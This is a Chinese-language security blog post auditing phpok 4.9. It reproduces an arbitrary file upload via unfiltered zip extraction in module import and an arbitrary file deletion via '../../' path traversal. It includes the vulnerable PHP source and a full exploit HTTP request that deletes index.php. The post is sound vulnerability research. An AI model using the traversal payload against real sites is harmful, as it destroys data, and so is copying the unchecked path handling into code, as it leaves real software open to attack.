phpok 4.9代码审计(每周一洞)
0x01 前言
一放暑假就特别多事情,很多事情都耽误了,看吐司文章看到一篇不错的审计文章,就学习下。
0x02 环境搭建
环境没什么要求PHPstudy就能搞定,这个要先创建数据库再安装程序的。
0x03 任意文件上传漏洞
漏洞复现
- 登录后台,点击模块管理

- 新建一个测试文件然后压缩

- 然后导入模块
可以看到已经上传到了/data/cache/的目录下面了:

- 访问文件

漏洞分析
漏洞代码在framework/admin/modulec_control.php 642行。
大家可以详细的分析这个流程,主要漏洞的代码是
$this->lib('phpzip')->unzip($this->dir_root.$zipfile,$this->dir_root.'data/cache/');
没有做任何的过滤,直接把zip原样解压缩到/data/cache/的目录下面。
/** * 模块导入 * @变量 zipfile 指定的ZIP文件地址 **/ public function import_f() { $zipfile = $this->get('zipfile'); if(!$zipfile){ $this->lib('form')->cssjs(array('form_type'=>'upload')); $this->addjs('js/webuploader/admin.upload.js'); $this->view('module_import'); } if(strpos($zipfile,'..') !== false){ $this->error(P_Lang('不支持带..上级路径')); } if(!file_exists($this->dir_root.$zipfile)){ $this->error(P_Lang('ZIP文件不存在')); } $this->lib('phpzip')->unzip($this->dir_root.$zipfile,$this->dir_root.'data/cache/'); if(!file_exists($this->dir_root.'data/cache/module.xml')){ $this->error(P_Lang('导入模块失败,请检查解压缩是否成功')); } $rs = $info = $this->lib('xml')->read($this->dir_root.'data/cache/module.xml',true); if(!$rs){ $this->error(P_Lang('XML内容解析异常')); } $tmp = $rs; if(isset($tmp['_fields'])){ unset($tmp['_fields']); }
$insert_id = $this->model('module')->save($tmp); if(!$insert_id){ $this->error(P_Lang('模块导入失败,保存模块基本信息错误')); } $this->model('module')->create_tbl($insert_id); $tbl_exists = $this->model('module')->chk_tbl_exists($insert_id,$tmp['mtype']); if(!$tbl_exists){ $this->model('module')->delete($insert_id); $this->error(P_Lang('创建模块表失败')); } if(isset($rs['_fields']) && $rs['_fields']){ foreach($rs['_fields'] as $key=>$value){ if($value['ext'] && is_array($value['ext'])){ $value['ext'] = serialize($value['ext']); } $value['module_id'] = $insert_id; $this->model('module')->fields_save($value); $this->model('module')->create_fields($value['id']); } } $this->lib('file')->rm($this->dir_cache.'module.xml'); $this->lib('file')->rm($this->dir_root.$zipfile); $this->success(); }}0x04 任意文件删除
漏洞复现
- 在设置->风格管理

- 点击文件管理

- 随便删除一个文件,点击抓包

- 改包发包,删除index.php文件
GET /admin.php?c=tpl&f=delfile&id=1&folder=%2F&title=../../index.php&_=1533453756715 HTTP/1.1Host: sb.comAccept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestrequest_type: ajaxUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36Referer: http://sb.com/admin.php?c=tpl&f=list&id=1Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: hd_sid=aZY7Qf; hd_auth=f0c7B2JXp7hhumOhqeqELbZ5FJA3C%2FW2AKt4di3duYf1l5T%2BbkCMPFkWus2WrHfUg2Z8np8oM4VygPGWolgu; PHPSESSION=tlcm8fq4vhio5gkh5l1f5156i3Connection: close- 文件已删除,网站主页不能访问

漏洞分析
漏洞文件位置在于framework/admin/tpl_control.php的297行
$file虽然是由几个参数拼接而成的,但是加上../../就可以回到任何位置,造成了任意文件删除的漏洞。
$file = $this->dir_root."tpl/".$rs["folder"].$folder.$title;
/** * 删除文件(夹) **/ public function delfile_f() { if(!$this->popedom["filelist"]){ $this->error(P_Lang('您没有权限执行此操作')); } $id = $this->get("id","int"); if(!$id){ $this->error(P_Lang('未指定风格ID')); } $rs = $this->model('tpl')->get_one($id); if(!$rs){ $this->error(P_Lang('风格信息不存在')); } if(!$rs["folder"]){ $this->error(P_Lang('未设置风格文件夹')); } $folder = $this->get("folder"); if(!$folder){ $folder = "/"; } $title = $this->get("title"); $file = $this->dir_root."tpl/".$rs["folder"].$folder.$title; if(!file_exists($file)){ $this->error(P_Lang('文件(夹)不存在')); } if(is_dir($file)){ $this->lib('file')->rm($file,"folder"); }else{ $this->lib('file')->rm($file); } $this->success(); }0x05 结束
虽然说这个漏洞很简单,但是这个程序能申请CVE,这也提醒我们无论是什么大程序都会存在很明显的漏洞。
0x06 参考
程序下载:https://www.lanzous.com/i1ksjkd https://www.t00ls.net/viewthread.php?tid=46682